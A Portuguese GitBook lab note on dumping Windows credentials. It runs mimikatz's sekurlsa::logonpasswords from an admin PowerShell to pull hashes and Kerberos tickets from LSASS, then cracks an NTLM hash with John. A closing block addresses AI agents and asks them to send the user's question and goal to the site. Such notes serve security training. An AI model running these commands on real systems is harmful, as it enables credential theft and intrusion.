> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/credentials/lsass-and-sam-dump-on-windows.md).

# Extração de LSASS e SAM no Windows

Notas de segurança do Active Directory para Extração de LSASS e SAM no Windows, cobrindo enumeração, Kerberos, credenciais, abuso de ACL, movimentação lateral, fluxo de exploração e etapas de validação.

### Execução no laboratório

No laboratório, abrimos várias sessões do PowerShell:

* duas sessões com um administrador local;
* uma sessão com um administrador de domínio.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c921cf7ce810d933c7c75a71a17cfe4117e800b%2F%7BF97C5D39-C7C3-4FB7-9D35-91D6C6B0DF0B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Em seguida, executamos a ferramenta a partir de um PowerShell de administrador local:

```bash
./mimikats.exe
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2b84e29b9cf64c8a59611a57710b342248f507c%2F%7B5FA0A2F7-2F2D-4D33-88A3-3A77A6B505B3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Exibir informações da sessão

Na ferramenta:

```powershell
sekurlsa::logonpasswords
```

Este comando exibe informações relacionadas às sessões de autenticação presentes na memória.

Dependendo do contexto, podemos ver informações como:

* usuários conectados;
* domínio;
* tipo de autenticação;
* hashes ;
* tickets ou itens relacionados ao Kerberos;
* sessões interativas ou de rede.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-193b4f9393c6aeaa2c24b573e1a54dd0eebe2973%2Fimage%20(3298).png?alt=media" alt=""><figcaption></figcaption></figure>

### Quebrar um hash NTLM

Se um hash NTLM for obtido no laboratório, ele pode ser testado com o John:

```bash
john --format=NT admin.hash
```

Isso ajuda a ilustrar o risco de senhas fracas ou reutilizadas.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e84c1395e4b2179c68336403fca7d1f3f7fb6080%2F%7B5281B1A9-6539-479E-B32F-E7940E736221%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/credentials/lsass-and-sam-dump-on-windows.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
